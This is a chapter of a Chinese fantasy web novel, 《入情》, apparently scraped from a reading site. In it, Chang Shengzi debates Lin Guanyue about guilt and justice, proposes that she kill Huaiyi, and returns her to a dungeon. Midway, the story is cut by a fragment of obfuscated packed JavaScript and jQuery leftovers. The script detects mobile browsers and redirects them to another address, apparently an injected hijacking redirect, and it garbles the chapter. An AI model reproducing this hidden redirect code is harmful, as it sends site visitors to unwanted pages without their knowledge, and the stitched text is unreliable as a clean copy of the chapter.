20. 交易

作品:《入情

    林观月下意识看向了常晟子,他眼皮一掀,道:“怎么,祈佑节我去不得临天台?”


    说完,常晟子将念珠串向前抛出,紧紧缠上那妖的手腕。其中一颗念珠闪着光,从木色逐渐变成深红色。他对着那妖说:“时间到了。”


    “你要杀她?”林观月握住剑,“她是无辜的。”


    “无辜?”常晟子仍未停手,念珠在那妖的手腕上越缠越紧,红得像滴血。


    林观月此刻已默默在剑尖凝势,警告道:“我只觉得那郭公子本就该死。”


    常晟子愣了一下,眉梢微微挑起,嘴角的笑意若有若无,似在消化这句话的荒唐。


    “该死?客人要怎么评判谁该,谁不该?”


    “拦路夺粮的匪寇该死吗,可他只是想得一斗黍米,分给村里饿得啃树皮的乡亲——那时官仓里霉烂的粮垛已堆成了山。”


    “带着幼子逃亡谋生的母亲该死吗,她日夜织绣,好不容易勉落脚过上了安定日子——但她在辗转途中说不准也吃过‘羊’。”


    常晟子继续道:“十几年前,郭家祖母病重,城内城外请遍了名医,都说无力回天。也不知道郭公子从哪儿听来冲喜一说,第二天纳了个妾,他那祖母却真的日渐好转。第二年病重,便又纳妾冲喜……如此往复,老人竟多出了十多年寿数。”


    “郭公子婢子成群,小妾如云,有些可能连他自己也记不清了。住在偏僻院子的,自己逃了便是。日日相见的,拿住他的把柄更是轻而易举,随便一纸状书告上官府,就能离开那虎狼窝。”


    人们都说官府对郭家的行径是睁一只眼闭一只眼——


    “但他随便赏的一只钗、一块珮,兴起时从手指缝里漏出的一张银票,便能支撑那些奴仆小妾全家人一年的温饱。”


    ——因为这么多年,从未有人真正去告过。嘴上把他骂得狗血淋头,转眼又安静地从子女手中接过月例赏银。雷声大雨点小,最后总是不了了之。


    “前些天,他看上一良妓,便替人赎了身,只待过些天便纳她进门。若无这一遭,只怕那良妓在老鸨手下活不过两个月。”


    常晟子步步逼近,目光紧锁着林观月,每一句话刚说出口,下一句便紧随其后,没有喘息的空隙,让人无处可退。


    “他的确不是什么好人,你说他是愚孝也好,伪孝也罢,欲色贪恶,跋扈恣睢,他样样都占了。可是,他就本就‘该死’吗?”


    林观月的手中突然卸了力,犹豫的这一瞬间,她分不清对错。


    她的世界一直很简单。和蔼的掌门,友好的同门,镇妖笼里穷凶极恶的妖兽,就连从前外出历练时遇见的凡人,也是善恶明晰。


    她的从前,就像是一把剑。隔开阴阳,一明,一暗。这泾渭分明的黑白世界,第一次出现了灰色。


    “诡辩。”


    常晟子噗嗤一笑,道:”呵,凡间有凡间的律法,杀了人……就要偿命的。”


    他开口时,睫毛垂落一片阴影,切断了林观月的视线,双眸定格在那颗一闪一闪的红色念珠上,像是凝望着某个遥远的人,他不自觉又重复了一遍。


    “杀了人,就要偿命的。”


    殿下,你什么时候来索我的命呢。


    下一刻,那妖化作成一团黑雾,在空气中迅速消散。灰飞烟灭,只余下一颗小小的妖丹滚落在地。


    “姐姐,姐姐,我为你报仇了……”空中飘来那妖的声音,竟是笑着的。


    常晟子将那妖丹捡起。


    恩仇散尽,缘孽终了。


    她好像又回到了最初最初,那时候,她和姐姐躲在被子里,咬着耳朵悄声讨论,偷偷计划着要去寻那宝藏……


    常晟子突然开口:“那书生昨日知道这个消息后,跳河殉了那姐姐。今年他中了状元,本来圣旨已经在路上了。”


    “活着,不是更好吗?当个好官,去一城,那城便少一个‘郭家’。”林观月不明白。


    常晟子的语气有些潮,那书生跳的河里仿佛全是他无处可去的泪:“你觉得那书生懦弱,可他从始至终想求的,本也不是天下人。”


    弃天下人而求一人,也是需要勇气的。


    但他明白得太晚了。


    他忽然有些羡慕那书生。


    石壁上的金色光辉退去,四周陷落的石砖又浮了上来,一块一块整齐排好,裂纹闭合,恢复如初。


    那颗念珠上的红光也逐渐暗淡下去,珠子恢复了木色,只是要比旁边那两颗深一些……


    等等。


    林观月猛地向那串念珠看去。一百零八颗,只有顶珠旁连着的两颗颜色较浅,其余的念珠,都已变作了刚才那般颜色。


    常晟子在此时将念珠串绕在手腕上,往袖中一拢盖住了,随后抬步往地道外走去。林观月跟随其后,正理着脑中纷乱的思绪。


    已经一百零六颗了,他要做什么?


    常晟子戴上帷帽,带着她一路行至地牢门口,然后停下了脚步。


    他转身对林观月说:“客人,守卫马上来了,记得在此之前回到地牢。”


    林观月还未说话,去妄已经吵闹起来了:“什么!你不是来带我们出去的吗!林观月,你信誓旦旦向我保证的!不管,我不要再回那又脏又黑的地牢了!”


    林观月也压下眼睑,凝视着常晟子。


    只见他眨了眨眼睛,喉咙里压着半声笑:“你现在,有两个办法。一是杀了我,杀了这官府里所有的人,再杀了所有知情的百姓。二是——”


    远处传来守卫整齐的脚步声。


    “是什么?”


    常晟子侧头看了看回廊处,又停顿了两三秒,才慢慢开口,他的声音沉了些:“就像你说的,与我做个小小的交易。”


    就像她说的。


    是交易,不是真慈悲。


    “客人不是已经发现了吗?”


    今日她在临天台看见那佛像时便察觉,佛像眼中的刻印与常晟子念珠串上的刻印,一模一样。


    果然,他是那佛。


    守卫的脚步声越来越近,只要再走几步,转过回廊,便能瞧见他们。


    常晟子往前一步,俯身靠近,目光深处透着兴奋的蛊惑。


    “你帮我,杀了怀意。”


    怀意?林观月以为自己听错了,就连之前吵嚷着的去妄也是一愣。


    他们不是兄妹吗?


    “谁!”守卫厉声喝道,脚步猛然加快,朝这边逼近。


    千钧一发之际,林观月却拒绝了:“我不信佛,自然不会与你做交易。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107182|163932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >常晟子有些意外。他在祈佑节上听了太多美好的、肮脏的愿望,真真假假。她其实可以像某些百姓一般,先叩头拜首地应下,待事成后便反悔。


    他低低笑了一声。


    守卫们以为眼前这两人是夜闯府衙的贼人,正欲将他们捉拿。


    之前那守卫此刻也在这队中,见状却是有些慌。他一时拿不准该不该在众人面前说出这位大人的身份。


    毕竟这位大人带着帷帽深夜前来,想必是不愿被人知晓身份,可若是真的任由他们将这位大人捉拿……他想到这儿已是不敢再往下想,急得手心都冒了汗。


    “这杀人犯,我捉住了。”常晟子对着那守卫道。


    那守卫的心瞬间从云端落回了肚子里,连忙上前,对着常晟子行了一礼:“有劳大人。”


    “这几天,可要好好把人看住了。”


    常晟子隔着帷帽的纱幕看了林观月一眼,她正被守卫们重新戴上镣铐,被长枪架着往地牢中走去。


    夜风无声,更鼓低沉。


    常晟子刚回柳玉楼,便被怀意和知桓围住,怀意更是着急得连声音也有些不稳:“怎么样?见到观月娘子了吗,她……”


    常晟子点了点头,不疾不徐道:“不出意外,几日后便能出来了。”


    “那就好,那就好。”怀意不停叹着,知桓在一旁轻拍她的背。


    “怀意。”常晟子打断了怀意的话,一双幽黑的眼盯着她,过了半晌,又变回了温柔兄长的模样。


    此时地牢里,去妄看着铁门再次被锁上,欲哭无泪。


    那守卫还似不放心,唤来几人,拿了四五条腕粗的锁链,将那铁门、铁栏加固又加固。


    “我不要啊!我不要啊!我们何年何月才能出去,我不想窝囊地死在凡间地牢,林观月,你就用一下法术吧……”


    去妄撺掇着林观月,林观月却是一把将它按住,然后盘腿闭目静坐,在脑中一遍一遍过着剑法。


    后来这几日,不外乎是守卫巡视,去妄吵叫,林观月静坐。


    偶能听见守卫换班时交谈:“这女子整日不吃不喝,怎么还没倒?”


    “谁知道,兴许是装的。只要人没事,能给大人有个交代便好,也省得提防有人给她的饭菜下毒。”


    “对了,听说镇国公主的马车申时便会到鹭京城门了。”一名守卫问。


    另一名守卫笑道:“那可不是?我夫人昨日翻箱倒柜地挑了一整晚的衣裙,她说公主喜欢美人,要穿得好看些去迎,连带着我也试了好几件。”


    “怪不得我看兄弟今日又俊了些。”


    “别打趣我了,诶,我们换个班呗。今日城口必是人挤人的,我不放心夫人一个人去。”那守卫拍拍对方的肩,“回来给你带城口那酒肆酿的美酒。”


    “成!”


    几人哄笑几声,交接完毕,各自散去,牢中安静下来。


    林观月闭目静坐,却一直在仔细听着守卫们的对话。


    “师尊!”熟悉又急迫的声音突然响起。


    林观月以为是音铃,正想在脑中先将最后一招琢磨完,却听见那声音越来越近。匆忙的脚步声,铁链的滑落声,牢门被砰地推开,撞在石墙上。


    她睁开眼。


    “师尊!”